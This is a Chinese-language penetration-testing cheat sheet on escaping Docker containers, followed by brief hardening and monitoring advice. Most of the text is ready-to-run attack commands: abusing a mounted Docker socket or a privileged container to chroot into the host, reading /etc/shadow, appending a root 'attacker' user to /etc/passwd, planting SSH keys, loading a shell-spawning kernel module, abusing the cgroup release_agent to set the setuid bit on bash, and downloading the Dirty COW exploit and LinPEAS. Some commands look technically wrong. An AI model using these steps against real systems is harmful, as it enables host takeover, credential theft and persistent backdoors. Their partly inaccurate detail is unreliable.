Docker 容器逃逸技术
概述
容器逃逸是指攻击者突破容器隔离限制,获取宿主机权限。常见于配置错误、内核漏洞、特权容器等场景。
攻击等级: ⭐⭐⭐⭐⭐
适用场景: 云环境渗透、容器突破
容器信息收集
检查容器环境
# 确认在容器内
cat /proc/1/cgroup
cat /.dockerenv
ls -la /
# 查看容器信息
hostname
cat /etc/hosts
# 检查挂载
mount
df -h
# 检查能力
capsh --print检查特权模式
# 检查是否特权容器
cat /proc/1/status | grep Cap
# CapEff: 0000003fffffffff 表示全能力 (特权)
# 检查设备
ls -la /dev/
# 存在 /dev/sda, /dev/kmsg 等表示可能特权检查挂载点
# 查找敏感挂载
findmnt -l
# 检查 Docker socket
ls -la /var/run/docker.sock
ls -la /run/docker.sock
# 检查宿主机挂载
cat /proc/mounts | grep -v cgroup常见逃逸手法
1. Docker Socket 挂载
原理: Docker socket 挂载到容器内,可控制 Docker 守护进程。
检测:
ls -la /var/run/docker.sock
# 如果存在,可逃逸利用:
# 1. 安装 Docker CLI (如果不存在)
apt update && apt install -y docker.io
# 2. 列出容器
docker ps
# 3. 创建特权容器
docker run -it --rm --privileged -v /:/host alpine chroot /host
# 4. 或使用 Docker API
curl --unix-socket /var/run/docker.sock \
http://localhost/containers/json
# 5. 启动新容器挂载宿主机
curl --unix-socket /var/run/docker.sock \
-X POST \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine",
"Cmd": ["cat", "/host/etc/shadow"],
"HostConfig": {
"Binds": ["/:/host"]
}
}' \
http://localhost/containers/create
# 6. 执行命令
docker exec -it CONTAINER_ID cat /host/etc/shadow2. 特权容器 (Privileged)
原理: 特权容器拥有所有 Linux 能力,可访问宿主机设备。
检测:
# 检查能力
cat /proc/1/status | grep CapEff
# 0000003fffffffff = 特权
# 检查设备
ls -la /dev/sda
ls -la /dev/kmsg利用:
# 方法 1: 挂载宿主机文件系统
mkdir /host
mount /dev/sda1 /host
chroot /host
# 方法 2: 使用 nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# 方法 3: 修改宿主机文件
echo "attacker:x:0:0:root:/root:/bin/bash" >> /host/etc/passwd
# 方法 4: 写入 SSH 密钥
mkdir -p /host/root/.ssh
cp /root/.ssh/id_rsa.pub /host/root/.ssh/authorized_keys3. 危险挂载
原理: 敏感目录挂载到容器内。
检测:
# 查找挂载
findmnt -l | grep -E "/|/proc|/sys|/dev"
# 检查挂载点
cat /proc/mounts利用:
# 1. 宿主机根目录挂载
# 如果 /host 或类似挂载点存在
chroot /host
# 2. /proc 挂载
# 可以访问宿主机进程
nsenter -t $(cat /host/proc/1/stat | awk '{print $1}') -a
# 3. /sys 挂载
# 可以修改内核参数
echo 1 > /host/sys/kernel/kexec_load_disabled
# 4. /dev 挂载
# 可以访问宿主机设备
dd if=/dev/sda of=/tmp/disk.img4. capabilities 滥用
原理: 容器拥有危险 Linux 能力。
检测:
# 检查能力
capsh --print
# 危险能力
CAP_SYS_ADMIN # 最危险,几乎等同于 root
CAP_SYS_PTRACE # 可调试进程
CAP_SYS_MODULE # 可加载内核模块
CAP_DAC_READ_SEARCH # 可绕过文件权限
CAP_NET_ADMIN # 可配置网络利用:
CAP_SYS_ADMIN
# 挂载宿主机文件系统
mkdir /host
mount -t proc proc /host/proc
mount -t sysfs sysfs /host/sys
mount --bind / /host
# 使用 nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- bashCAP_SYS_PTRACE
# 1. 找到宿主机 PID 1
ps aux | grep -v grep
# 2. 调试进程
gdb -p 1
# 3. 或使用 nsenter
nsenter -t 1 -p -m -u -i -n bashCAP_SYS_MODULE
# 1. 创建恶意内核模块
cat > exploit.c << EOF
#include <linux/module.h>
#include <linux/kmod.h>
static int __init exploit_init(void) {
char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_EXEC);
return 0;
}
module_init(exploit_init);
MODULE_LICENSE("GPL");
EOF
# 2. 编译
make -C /lib/modules/$(uname -r)/build M=$PWD modules
# 3. 加载模块
insmod exploit.ko
# 4. 获取宿主机 shellCAP_DAC_READ_SEARCH
# 使用 open_by_handle_at 漏洞
# 编译 exploit
gcc -o exploit exploit.c -lcap
# 读取任意文件
./exploit /host/etc/shadow5. cgroup 逃逸
原理: cgroup 配置错误导致逃逸。
检测:
# 检查 cgroup
cat /proc/self/cgroup
# 查找 cgroup 目录
ls -la /sys/fs/cgroup/利用:
# 1. 查找可写 cgroup
find /sys/fs/cgroup -writable
# 2. 创建通知程序
echo '#!/bin/sh' > /tmp/notify.sh
echo 'chmod 777 /host' >> /tmp/notify.sh
chmod +x /tmp/notify.sh
# 3. 注册通知
echo /tmp/notify.sh > /sys/fs/cgroup/cgroup.notify_on_release
# 4. 触发
echo $$ > /sys/fs/cgroup/cgroup.procs
# 5. 访问宿主机
ls -la /host6. 脏牛 (Dirty COW)
原理: CVE-2016-5195 内核提权漏洞。
检测:
# 检查内核版本
uname -r
# < 4.8.3 可能受影响利用:
# 1. 下载 exploit
wget https://github.com/firefart/dirtycow/raw/master/dirty.c
# 2. 编译
gcc -pthread dirty.c -o dirty -lcrypt
# 3. 执行
./dirty password
# 4. 切换用户
su root
# 密码:password7. OverlayFS 逃逸
原理: OverlayFS 挂载配置错误。
检测:
# 检查挂载
mount | grep overlay
# 查找 lowerdir
cat /proc/mounts | grep overlay利用:
# 1. 创建白目录
mkdir /tmp/white
# 2. 挂载
mount -t overlay overlay -o lowerdir=/,upperdir=/tmp/white,workdir=/tmp/work /mnt
# 3. 访问
cd /mnt
# 可以修改宿主机文件8. 共享命名空间
原理: 容器与宿主机共享命名空间。
检测:
# 检查命名空间
ls -la /proc/1/ns/
# 比较 PID
ps aux | head -5利用:
# 1. 进入宿主机命名空间
nsenter --target 1 --all
# 2. 或使用 unshare
unshare --pid --fork --mount-proc bash实战案例
案例 1: Docker Socket 逃逸
# 1. 发现 socket
ls -la /var/run/docker.sock
# 2. 安装 Docker CLI
apt update && apt install -y docker.io
# 3. 创建特权容器
docker run -it --rm --privileged -v /:/host ubuntu:latest
# 4. 切换到宿主机
chroot /host
# 5. 获取宿主机 root
whoami # root
hostname # 宿主机名案例 2: 特权容器 + 设备访问
# 1. 检查特权
cat /proc/1/status | grep CapEff
# 0000003fffffffff
# 2. 检查设备
ls -la /dev/sda
# 3. 挂载宿主机
mkdir /host
mount /dev/sda1 /host
# 4. 访问宿主机
cat /host/etc/shadow
chroot /host案例 3: CAP_SYS_PTRACE 逃逸
# 1. 检查能力
capsh --print
# cap_sys_ptrace+ep
# 2. 找到宿主机 PID 1
ps aux | grep init
# 3. nsenter
nsenter -t 1 -p -m -u -i -n -b
# 4. 获取宿主机 shell
whoami # root案例 4: cgroup 逃逸
# 1. 查找可写 cgroup
find /sys/fs/cgroup -writable
# 2. 创建后门
echo '#!/bin/sh' > /tmp/x
echo 'chmod +s /bin/bash' >> /tmp/x
chmod +x /tmp/x
# 3. 注册
echo /tmp/x > /sys/fs/cgroup/release_agent
# 4. 触发
echo $$ > /sys/fs/cgroup/cgroup.procs
# 5. 执行
/bin/bash -p工具
linux-exploit-suggester
# 下载
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
# 执行
bash linux-exploit-suggester.shLinPEAS
# 下载
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# 执行
chmod +x linpeas.sh
./linpeas.shBreakout
# Docker 逃逸工具
git clone https://github.com/GreyOrder/docker-breakout
cd docker-breakout
# 检测
python3 detect.py
# 逃逸
python3 escape.py防御建议
容器配置
# docker-compose.yml 安全配置
version: '3'
services:
app:
image: myapp
privileged: false # 禁用特权
read_only: true # 只读文件系统
cap_drop: # 丢弃能力
- ALL
cap_add:
- NET_BIND_SERVICE
security_opt:
- no-new-privileges:true
tmpfs:
- /tmp
- /run
volumes:
- ./data:/app/data:ro # 只读挂载运行时防护
# 1. 不要挂载 Docker socket
# 除非绝对必要
# 2. 使用用户命名空间
# /etc/docker/daemon.json
{
"userns-remap": "default"
}
# 3. 启用 seccomp
docker run --security-opt seccomp=default ...
# 4. 启用 AppArmor
docker run --security-opt apparmor=docker-default ...
# 5. 限制能力
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...监控检测
# 1. 监控特权容器
docker ps --filter "privileged=true"
# 2. 监控敏感挂载
docker inspect CONTAINER | grep -E "/|/proc|/sys"
# 3. 监控 Docker socket 访问
auditctl -w /var/run/docker.sock -p rwxa -k docker_socket
# 4. 系统调用监控
# Falco, Sysdig